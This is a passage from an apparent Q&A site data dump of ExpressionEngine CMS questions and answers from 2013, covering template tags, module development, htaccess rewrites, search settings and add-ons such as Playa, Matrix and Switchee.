  <row Id="2437" PostTypeId="1" AcceptedAnswerId="2440" CreationDate="2013-01-08T17:36:27.130" Score="0" ViewCount="190" Body="&lt;p&gt;Ok, it'll be a miracle if anyone can help me here, but I have an EE-1 site (upgrading is not an option here) with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries ...}&#xA;   {reverse_related_entries limit=&quot;1&quot;}&#xA;      &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt; &amp;lt;!-- all good so far --&amp;gt;&#xA;      {a_matrix_field}&#xA;         &amp;lt;p&amp;gt;{a_matrix_column}&amp;lt;/p&amp;gt; &amp;lt;!-- still good --&amp;gt;&#xA;         {a_playa_field} &#xA;            {title} &amp;lt;!-- fail --&amp;gt;&#xA;         {/a_playa_field}&#xA;      {/a_matrix_field}&#xA;   {/reverse_related_entries}&#xA;{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The playa field outputs some garbage along the lines of &lt;code&gt;{REL[1355][a_matrix_field]AcYdXsrHREL}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-01-08T18:11:33.043" Title="Nested Playa, Matrix and reverse_related_entries" Tags="|matrix|playa|relationships|reverse-related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2438" PostTypeId="2" ParentId="2432" CreationDate="2013-01-08T17:39:13.460" Score="2" Body="&lt;p&gt;I'm no SEO expert, but the problem starts happening when www.domain.com/index.php/about-us and www.domain.com/about-us are considered 2 different URLs even if they aren't being linked anywhere else on the site. Both can resolve to the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kevinthompson.info/blog/2011/03/04/completely-remove-index-php-from-expressionengine-urls.html&quot; rel=&quot;nofollow&quot;&gt;http://kevinthompson.info/blog/2011/03/04/completely-remove-index-php-from-expressionengine-urls.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where if you DO decide to remove index.php that you should have the 1st domain redirect to the version w/o it as opposed to just having the version without it render as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would like any clarifications or corrections if I am incorrect in my assumptions. :)&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-01-08T17:39:13.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2439" PostTypeId="2" ParentId="2425" CreationDate="2013-01-08T18:07:49.530" Score="2" Body="&lt;p&gt;Perhaps instead of looking for the last variable, you want to check if the page is paginated -- because that's basically what you're looking for, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check: &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mo-variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if paginated}, {if not_paginated}, {page_offset}  are some variables that he has &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if paginated} would probably work for you and simply check if there's pagination occurring so you don't keep adding last_segment conditionals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky part is figuring out how to render what the next page is e.g. P20. You might just want to wrap the {if paginated} conditional with the entries tag and pagination actually will render the next page link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with that is could be resource intensive (ie. another entries tag just to get the pagination # or url?) Perhaps Stash would be a good way to set the next page URL from the current page body and just use stash get to have it render the next page URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else have a simpler or native way to do this or maybe we can still use Rob's page_offset? Not sure how it works but I can assume that MIGHT be simpler, even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps? :)&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-01-08T18:07:49.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2440" PostTypeId="2" ParentId="2437" CreationDate="2013-01-08T18:11:33.043" Score="3" Body="&lt;p&gt;I would just pass the &lt;code&gt;entry_id&lt;/code&gt; to an embed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries ...}&#xA;   {reverse_related_entries limit=&quot;1&quot;}&#xA;      {embed=&quot;some/template&quot; entry_id=&quot;{entry_id}&quot;}&#xA;   {/reverse_related_entries}&#xA;{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries entry_id=&quot;{embed:entry_id}&quot; ...}&#xA;      &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt; &#xA;      {a_matrix_field}&#xA;         &amp;lt;p&amp;gt;{a_matrix_column}&amp;lt;/p&amp;gt; &#xA;         {a_playa_field} &#xA;            {title}&#xA;         {/a_playa_field}&#xA;      {/a_matrix_field}&#xA;{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-08T18:11:33.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2441" PostTypeId="1" AcceptedAnswerId="2442" CreationDate="2013-01-08T19:27:42.353" Score="2" ViewCount="114" Body="&lt;p&gt;So I'm returning an array of all the information I need from my function, but I can't seem to figure out how to parse through the array once I get to the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Class main{&#xA; function data(){&#xA;      blah blah blah &#xA;      return $array;&#xA; }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:main:data}{data}{/exp:main:data} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{data} returns “Array”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I parse through this in EE code or is there another to parse this variable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also gone down another path which follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Class main{&#xA; function data(){&#xA;      blah blah blah &#xA;      $this-&amp;gt;return_user(14);&#xA; }&#xA; function return_user($var){&#xA;      return '&amp;lt;p&amp;gt;'.$var.'&amp;lt;/p&amp;gt;';&#xA; }&#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:main:data}{exp:main:return_user}{/exp:main:data} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{exp:main:return_user} returns &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;, but not &lt;code&gt;&amp;lt;p&amp;gt;14&amp;lt;/p&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="732" LastEditorUserId="268" LastEditDate="2013-01-09T05:48:30.263" LastActivityDate="2013-01-09T05:48:30.263" Title="EE 1.6.x Module Development" Tags="|add-on-development|module|ee1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2442" PostTypeId="2" ParentId="2441" CreationDate="2013-01-08T19:57:41.413" Score="1" Body="&lt;p&gt;EE 1.7 is pretty old but still fresh in my memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use the global object $TMPL, which has a tagdata property that contains the data/string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function data(){&#xA;    global $TMPL;&#xA;&#xA;    $vars = array();&#xA;    $vars[LD.'data'.RD] = 'foo';&#xA;    $vars[LD.'data2'.RD] = 'foo2';&#xA;&#xA;    $TMPL-&amp;gt;tagdata = str_replace(array_keys($vars), array_values($vars) $TMPL-&amp;gt;tagdata);&#xA;&#xA;    return $TMPL-&amp;gt;tagdata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-01-08T19:57:41.413" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2443" PostTypeId="2" ParentId="2434" CreationDate="2013-01-08T20:04:49.343" Score="4" Body="&lt;p&gt;You can share content, but all navigation and page data is site-specific, so you can't call from one into another unfortunately. It's just an EE/MSM limitation.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-01-08T20:04:49.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2444" PostTypeId="1" AcceptedAnswerId="2454" CreationDate="2013-01-08T20:21:24.820" Score="1" ViewCount="96" Body="&lt;p&gt;I'm having odd results with &lt;code&gt;exp:search:simple_form&lt;/code&gt; and certain keywords. For instance, a search for &lt;em&gt;1010&lt;/em&gt; returns results with:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;XP1010&lt;/li&gt;&#xA;&lt;li&gt;81010&lt;/li&gt;&#xA;&lt;li&gt;1010&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If I add a hypen to the search, &lt;em&gt;1010-24&lt;/em&gt;, it returns no results? Why is this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form &#xA;    channel=&quot;not product_options|color_charts&quot; &#xA;    form_class=&quot;search&quot;&#xA;    result_page=&quot;search/results&quot;&#xA;    search_in=&quot;entries&quot;&#xA;    show_expired=&quot;yes&quot;&#xA;    show_future_entries=&quot;yes&quot;&#xA;    status=&quot;not closed&quot;&#xA;    where=&quot;any&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-08T21:51:23.767" Title="Odd Simple Search Results" Tags="|search|simple-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2445" PostTypeId="2" ParentId="2444" CreationDate="2013-01-08T20:25:19.850" Score="2" Body="&lt;p&gt;Do you have any entries with 1010-24 in the title? My thought is it's looking specifically for a value of &quot;1010-24&quot; not &quot;1010&quot; &quot;-&quot; &quot;24&quot;.&lt;/p&gt;&#xA;" OwnerUserId="729" LastActivityDate="2013-01-08T20:25:19.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2446" PostTypeId="1" CreationDate="2013-01-08T20:25:56.687" Score="2" ViewCount="107" Body="&lt;p&gt;I’ve got an EE 2.5.2 site running on Dreamhost which we upgraded a while ago from 1.6.x. Ever since doing so all the images we upload via the File Manager seem to get some weird filter applied to them, and they end up looking like &lt;a href=&quot;http://www.hoots.ca/images/uploads/projects/DSC03174.JPG&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else experience this problem or have a clue how to solve it?&lt;/p&gt;&#xA;" OwnerUserId="734" LastActivityDate="2013-01-10T19:45:59.863" Title="Strange filter applied to images by EE uploaded via File Manager - mystery!" Tags="|image|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2447" PostTypeId="1" AcceptedAnswerId="2448" CreationDate="2013-01-08T20:29:19.210" Score="6" ViewCount="331" Body="&lt;p&gt;I have a site causing me no end of trouble with index.php removal.  It works on one host (EngineHosting) but not on another (Liquid Web).  I have other sites on the same server at Liquid Web using the same htaccess rule that work fine.  By all definition, this should work.  Here's the htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# EE 404 page for missing pages&#xA;ErrorDocument 404 /index.php?/site/404&#xA;&#xA;# Simple 404 for missing files&#xA;&amp;lt;FilesMatch &quot;(\.jpe?g|gif|png|bmp)$&quot;&amp;gt;&#xA;  ErrorDocument 404 &quot;File Not Found&quot;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;#Options +FollowSymlinks&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# remove the www&#xA;RewriteCond %{HTTP_HOST} ^www.sitenameremoved.com$ [NC]&#xA;RewriteRule ^(.*)$ http://sitenameremoved.com/$1 [R=301,L]&#xA;&#xA;# Remove trailing slash&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} ^(.+)/$&#xA;RewriteRule ^(.+)/$  /$1 [R=301,L]&#xA;&#xA;# Force remove index.php (File and Directory Check)&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;# Remove IE image toolbar&#xA;&amp;lt;FilesMatch &quot;\.(html|htm|php)$&quot;&amp;gt;&#xA;  Header set imagetoolbar &quot;no&quot;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried the RewriteRule with and without a ?, I have ensured that the other rules are working (they are), I have verified that 'Name of your site's index page' is blank, I have removed all other rules and tested, and I have  used this same rule on dozens of other sites.  Here, however, it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site is EE2, non MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I be missing?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-01-08T20:29:19.210" Title="Index.php Removal Not Working" Tags="|htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2448" PostTypeId="2" ParentId="2447" CreationDate="2013-01-08T20:29:19.210" Score="9" Body="&lt;p&gt;I went through all the trouble of writing up this question after having sunk hours into this problem, when I took one last look and -finally- something I should have remembered clicked in my head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['uri_protocol'] = &quot;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That config variable was the trick.  If you're having a similar issue, try a couple of common settings for it - AUTO and PATH_INFO usually work for me.&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-01-08T20:29:19.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2449" PostTypeId="2" ParentId="2425" CreationDate="2013-01-08T20:30:17.510" Score="0" Body="&lt;p&gt;Checkout &lt;a href=&quot;http://devot-ee.com/add-ons/support/switchee/viewthread/7331#24750&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; on devot-ee. Using that conditional worked well for me in paginating a blog archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, you'll need to use Stash and Switchee ;-)&lt;/p&gt;&#xA;" OwnerUserId="734" LastActivityDate="2013-01-08T20:30:17.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2450" PostTypeId="1" AcceptedAnswerId="2451" CreationDate="2013-01-08T20:36:23.237" Score="4" ViewCount="269" Body="&lt;p&gt;I am wondering if it is possible to show all on sale items with exp:resso store?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search search:on_sale channel=&quot;products&quot; sort=&quot;asc&quot; limit=&quot;12&quot;}&#xA;...&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I've been trying to work with, but it's displaying every product ever entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="633" LastEditorUserId="150" LastEditDate="2013-02-05T06:03:56.153" LastActivityDate="2013-02-05T06:03:56.153" Title="Displaying all products on sale with exp:resso store?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2451" PostTypeId="2" ParentId="2450" CreationDate="2013-01-08T21:23:54.090" Score="5" Body="&lt;p&gt;Try setting &lt;code&gt;search:on_sale=&quot;yes&quot;&lt;/code&gt; instead of &lt;code&gt;search:on_sale&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-08T21:23:54.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2453" PostTypeId="2" ParentId="2446" CreationDate="2013-01-08T21:30:46.337" Score="1" Body="&lt;p&gt;It sounds like you may have a filter enabled for that file upload in the settings. Check to make sure there is not an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#image-manipulations&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Image Manipulation&lt;/strong&gt;&lt;/a&gt; setting enabled in your File Upload Preferences by accident. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you are only seeing this image on the frontend and not in the control panel, check to see if you are using CE Image or some other image manipulation code that is possibly changing the image display.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I suggest that you upgrade to ExpressionEngine v2.5.5 to eliminate a bug in your EE version as the issue. This seems very unique to your server setup and EE install so upgrading EE is the first step. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-10T19:45:59.863" LastActivityDate="2013-01-10T19:45:59.863" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="2454" PostTypeId="2" ParentId="2444" CreationDate="2013-01-08T21:51:23.767" Score="1" Body="&lt;p&gt;I just figured it out. I didn't have a matrix field searchable. Updating the settings for that field &amp;amp; column fixed the results. Now, I just need to figure out how to bulk update entries so they get included in the index. Hmmm...&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-08T21:51:23.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2455" PostTypeId="2" ParentId="2418" CreationDate="2013-01-08T21:51:36.860" Score="2" Body="&lt;p&gt;You can create a template to pull Freefom data anyway you need it to be pulled. If you need a json feed, just build that code into the template using Freeform tags. You'll get exactly what you need and how you need it. You can create an XML feed instead of json if that's easier for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to automate saving the output to a flat file, just add the appropriate PHP and add a cron job on your server to run the template at the specific intervals you need.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-08T21:51:36.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2456" PostTypeId="1" AcceptedAnswerId="7162" CreationDate="2013-01-08T21:52:29.277" Score="2" ViewCount="132" Body="&lt;p&gt;I need to copy a page to another segment in a site both in MSM on 1.6.8. I was just calling the &lt;pre&gt;site=&quot;first-site&quot;&lt;/pre&gt; from the second site template and using the info that way. The problem is that the markets have now separated direction. They want the same &quot;page&quot; only with different content and style. (lol) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of fields and I would like to just copy the field group and possible the entry over to the other site being that the entry options will remain the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Besides just database manipulation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-01-08T22:22:25.087" LastActivityDate="2013-03-08T15:58:31.687" Title="EE1 - Copy Field Groups to another site in MSM or use them in another site template?" Tags="|multi-site-manager|ee1|field-group|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2457" PostTypeId="2" ParentId="2425" CreationDate="2013-01-08T21:58:03.447" Score="0" Body="&lt;p&gt;Try using &lt;code&gt;{last_segment_absolute}&lt;/code&gt; instead of &lt;code&gt;{last_segment}&lt;/code&gt; with the &lt;a href=&quot;http://devot-ee.com/add-ons/bjorn-last-segment&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Last Segment extension&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This extension will add the following global variables:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;{last_segment} – last segment (will never be the pagination segment ie /P1)&lt;/li&gt;&#xA;&lt;li&gt;{last_segment_absolute} – absolute last segment (even pagination)&lt;/li&gt;&#xA;&lt;li&gt;{last_segment_id} – the id of the last segment (for example “3”)&lt;/li&gt;&#xA;&lt;li&gt;{last_segment_absolute_id} – the id of the absolute last segment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you don’t want to add these global vars you can use the plugin instead:&lt;/p&gt;&#xA;&lt;p&gt;{exp:last_segment} will return the last segment. {exp:last_segment ignore_pagination=‘no’} will be the same as {last_segment_absolute}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-08T21:58:03.447" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2458" PostTypeId="2" ParentId="2376" CreationDate="2013-01-08T22:19:10.523" Score="1" Body="&lt;p&gt;And I found a solution. The wiki templates changed between 1.x and 2.x from using wiki_home to wiki_base_url and since I was still using wiki_home, I wasn't get a slash at the end of that, which resulted in two segments of the URL running together.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2013-01-08T22:19:10.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2459" PostTypeId="2" ParentId="2434" CreationDate="2013-01-08T22:23:34.470" Score="0" Body="&lt;p&gt;The solution we have come up with is to use the Playa add-on and link the content that way.  This requires us to create the pages on Site B via Structure, but solves the navigation and page-date restriction Travis mentions.  This also allows us to add in Site B specific content as needed (another client requirement).&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2013-01-08T22:23:34.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2460" PostTypeId="1" CreationDate="2013-01-08T23:44:59.237" Score="1" ViewCount="108" Body="&lt;p&gt;What EE shopping cart/e-commerce plugin that can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;sell digital product, using PayPal or Skrill processors&lt;/li&gt;&#xA;&lt;li&gt;different pricing schemes for a single product&lt;/li&gt;&#xA;&lt;li&gt;one-time payment; purchase expiration; and an optional renewal&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&#xA;I have a digital item to sell, named &lt;strong&gt;XYZ&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I want to sell &lt;strong&gt;ZYC&lt;/strong&gt; for different pricing schemes &amp;amp; expiration:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;XYC Lite&lt;/em&gt;&lt;/strong&gt; for $50 &amp;amp; will expire in 6 months; $10 for renewal (not recurring but only an option)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;XYC Pro&lt;/em&gt;&lt;/strong&gt; for $100 &amp;amp; will expire in 1 year; $20 for renewal (not recurring but only an option)&lt;/li&gt;&#xA;&lt;li&gt;other pricing schemes....&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;I must be able to set whether purchases of &lt;strong&gt;XYC&lt;/strong&gt; is &lt;strong&gt;auto-approve&lt;/strong&gt; or &lt;strong&gt;manually approve&lt;/strong&gt;.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;Auto-approve&lt;/em&gt;&lt;/strong&gt; - after a user made the payment, it's already considered a &quot;&lt;strong&gt;successful purchase&lt;/strong&gt;&quot; (&lt;em&gt;see #3 below&lt;/em&gt;) and can immediately access the download.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;Manually approve&lt;/em&gt;&lt;/strong&gt; - after a user made the payment, it will be considered as &quot;pending&quot; and not yet successful. An admin must manually approve for it to become a &quot;&lt;strong&gt;successful purchase&lt;/strong&gt;&quot; (&lt;em&gt;see #3 below&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Successful purchase of the item will move the user to a certain Member Group:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;XYC Lite&lt;/em&gt;&lt;/strong&gt; purchasers will be moved to &lt;strong&gt;Lite Group&lt;/strong&gt; member group.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;XYC Pro&lt;/em&gt;&lt;/strong&gt; purchasers will be moved to &lt;strong&gt;Pro Group&lt;/strong&gt; member group.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the &quot;Purchase Area&quot; (&lt;em&gt;displays purchases&lt;/em&gt;) of the user, they have an option to renew even if it's not yet expired. Renewing will extend the timeframe of the expiration.&lt;/li&gt;&#xA;&lt;li&gt;When an item purchased is nearly expiring, it must send an email reminding about it, i.e. &quot;you need to renew&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Upon expiration of purchase, the user will be move back to a specified member group and can no longer access the download. He must have an option to renew as the price indicated in #1 but take note that the renewal is not a recurring payment, it's just an option.&lt;/li&gt;&#xA;&lt;li&gt;Renewals (for example &lt;strong&gt;XYC Lite&lt;/strong&gt;; $10) should be auto-approve (&lt;em&gt;regardless if I set the item purchase to manual approve&lt;/em&gt;) and will again move the user to the specified member group and give him another 6 months access to download.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="735" LastEditorUserId="268" LastEditDate="2013-01-10T08:54:39.437" LastActivityDate="2013-01-15T18:09:47.760" Title="Shopping cart with diff. product pricing &amp; renewal?" Tags="|ecommerce|shopping-cart|recommendation-request|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2461" PostTypeId="2" ParentId="2456" CreationDate="2013-01-08T23:54:32.900" Score="0" Body="&lt;p&gt;Doesn't MSM offer to duplicate templates and field groups for you when you create a new site? I think this was true under the 1.6.8 version as well as now. I just can't recall. But you can always test it under a test site. That way, you'll have should end up with everything you need, then just adjust the templates as needed.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-08T23:54:32.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2462" PostTypeId="1" AcceptedAnswerId="3535" CreationDate="2013-01-09T00:45:41.667" Score="3" ViewCount="150" Body="&lt;p&gt;For one of my channels there is no template for displaying a single entry. Entries are only ever displayed in a list on a landing page, which is continued on the paginated sub-pages, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://website.com/landing/P6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This channel is searchable. When an entry appears in the search results, I want to create a link to its position in the paginated list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the entry is found on the landing page (the first page of the list), the link will look something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='landing'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if the entry is further back in the pagination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='landing/P12'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From within the search results, what is the least expensive way to determine where the entry falls within the pagination? All of my ideas would likely require a lot of unwanted additional queries.&lt;/p&gt;&#xA;" OwnerUserId="390" LastEditorUserId="390" LastEditDate="2013-01-16T17:11:09.320" LastActivityDate="2013-01-18T21:09:52.083" Title="Linking to an entry's position in a paginated list" Tags="|search|pagination|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2463" PostTypeId="1" CreationDate="2013-01-09T00:52:56.600" Score="6" ViewCount="126" Body="&lt;p&gt;I have a channel entry loop that is outputting entries from three different channels. Entries from each channel are marked up differently, so I have a Switchee case with the value of &lt;code&gt;channel_short_name&lt;/code&gt; to determine which channel the entry is in and then output the appropriate markup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:switchee variable=&quot;{channel_short_name}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{case value=&quot;channel_one&quot;}&#xA;&#xA;... (Channel one markup)&#xA;&#xA;{/case}&#xA;&#xA;{case value=&quot;channel_two&quot;}&#xA;&#xA;... (Channel two markup)&#xA;&#xA;{/case}&#xA;&#xA;{case value=&quot;channel_three&quot;}&#xA;&#xA;... (Channel three markup)&#xA;&#xA;{/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within one channel, I need to have two different layouts (based on status) and cycle between classes. I'm trying to accomplish this by nesting another Switchee case using &lt;code&gt;status&lt;/code&gt; as the value and &lt;code&gt;{switch}&lt;/code&gt; to cycle classes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{channel_short_name}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{case value=&quot;channel_one&quot;}&#xA;&#xA;... (Channel one markup)&#xA;&#xA;{/case}&#xA;&#xA;{case 